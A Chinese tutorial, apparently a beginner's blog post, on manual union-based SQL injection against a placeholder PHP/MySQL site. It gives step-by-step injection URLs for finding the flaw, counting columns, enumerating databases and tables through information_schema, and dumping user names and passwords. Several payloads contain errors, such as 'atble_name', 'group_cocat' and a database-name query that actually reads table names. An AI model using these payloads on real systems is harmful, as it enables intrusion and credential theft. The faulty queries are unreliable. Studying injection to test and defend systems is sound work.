在学习中快乐,在学习中进步,做个快乐小白。
环境:Apache+PHP+MySQL
目标:http://www.test.com/7999017.php?/id=22 ;SQL语句中红色字体为参数,注意体会引号的闭合
SQL注入以前台是否回显分为回显注入和盲注。现以SQL回显注入为例总结手工注入的思路和自已的理解(注:目标网站无防护)。
总体流程:查找注入点 ==> 查库名 ==> 查表名 ==> 查字段名 ==> 查重点数据
1.查找注入点:
方法一:在“http://www.test.com/7999017.php?/id=22”的参数后面加单引号,即“ http://www.test.com/7999017.php?/id=22‘ ”。因为单引号会导致SQL语句执行错误,若存在SQL注漏洞,当前页面会报错或者内容显示不全。
方法二:“1=1” “1=2”测试法,也叫“恒真” ”恒假“ 测试法。分别输入下面3种链接看页返回情况:
数字参数:SQL语句中红色字体为参数
1.http://www.test.com/7999017.php?/id=22
SQL语句:select *from test where id=22
2.http://www.test.com/7999017.php?/id=22 and 1=1
SQL语句:select *from test where id=22 and 1=1
3.http://www.test.com/7999017.php?/id=22 and 1=2
SQL语句:select *from test where id=22 and 1=2
字符参数:须要注意引号的闭合,SQL语句中红色字体为参数
1.http://www.test.com/7999017.php?/id=22
SQL语句:select *from test where id='22'
2.http://www.test.com/7999017.php?/id=22’ and ‘1’=‘1
SQL语句:select *from test where id=’22‘ and ’1‘=’1‘
3.http://www.test.com/7999017.php?/id=22’ and ‘1’=‘2
SQL语句:select *from test where id=’22’ and ‘1=’2‘
- 页面无变化:访问3个链接都正常显示且没有任何不同。说明后台有针对此查询点的过滤比较严格,是否存在SQL漏洞还需进行后续测试。
- 页面缺少或错误回显:前2个链接正常,第3个链接出问题,可判断存在SQL漏洞。
- 跳转到默认界面:如果第1个正常,第2,第3个链接直接跳转首页或其他默认页面,这可能是有后台验证逻辑,或是有在线防护系统。可以 尝试绕过。
- 直接关闭链接:访问第2,第3个链接出现访问失败,可以尝试用burpsuite抓取服务器响应包,观察包头server字段内容。通常为防护类工具直接开启在线阻断导致,可尝试绕过(难成功)。
以上检测方法只是常用手段,当然还有很多方法,比如id=2-1,id=(select 2)等等。总之就是看我们输入的额外SQL语句是否能正常执行,能执行就是有SQL漏洞。
2.确定字段数,查当前库名:(页面没有隐藏报错信息)
- 使用“order by +数字 #” 给对应的字段排序,比如test表有3个字段,这时只要 ”数字“ 是1到3都正常显示,即” http://www.test.com/7999017.php?/id=22’ order by 1# “,”http://www.test.com/7999017.php?/id=22’ order by 2 # “,”http://www.test.com/7999017.php?/id=22’ order by 3 # “。当 ”数字" 大于3时回显错误。即可以判断出当前表的字段数为3。SQL语句为 select *from test where id=’22’ order by 3 # ‘,#的作用是注释掉#后面语句,即#后面的内容变为了注释。
- 使用union select 查库名,即”http://www.test.com/7999017.php?/id=22’ and 1=2 union select 1,2,database() #“,SQL语句为 select *from test where id=’22’ union select 1,2,database() # ‘。database()函数能查询当前数据库名,version()当前版本,user()当前用户名等等函数都可以使用。
3.查表名:information_schema
通过information_schema库查询表的名称和字段,因为在MySQL 5.0以后版本中,information_schema用于存储当前数据库中的所有库名,表名等信息。
库名:” http://www.test.com/7999017.php?/id=22’ union select 1,2,(select table_name from information_schema.tables limit 0,1) # “ ,SQL语句: select *from test where id=’22’ union select 1,2,(select table_name from information_schema.tables limit 0,1) # ‘。通过对limit 0,1 的控制爆破出需要的库名。得到USER
表名:” http://www.test.com/7999017.php?/id=22’ union select 1,2,(select table_name from information_schema.tables where atble_name='库名' limit 0,1) # “ ,SQL语句: select *from test where id=’22’ union select 1,2,(select table_name from information_schema.tables where atble_name='USER' limit 0,1) # ‘。通过对limit 0,1的控制爆破出需要的表名。limit 0,1提取第1个,limit 1,1提取第2个。。。如user,password(authentication_string).得到user
4.查字段:
” http://www.test.com/7999017.php?/id=22’ union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='user') # “。SQL语句: select *from test where id=’22’ union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='user') # ‘,得到user的字段名ID,name,password。
5.查重点数据:
” http://www.test.com/7999017.php?/id=22’ union select 1,2,(select group_cocat(name,password) from user limit 0,1) # “。QL语句: select *from test where id=’22’ union select 1,2,(select group_cocat(name,password) from user limit 0,1) # ‘,通过去limit 0,1控制 爆破出需要的账号和密码。
到此刻整个手工注入完成,当然也有自动注入工具,比如“啊D注入工具”,“SQLmap”等,能自动寻找注入点,自动查表名,列名,字段名等,使用方便快捷。但我觉得对学习来说,还是手动更好一些。学习并非都是所见即所得。
内容有疏漏和错误,请指正为感!砥砺前行,你我共勉!---做个快乐小白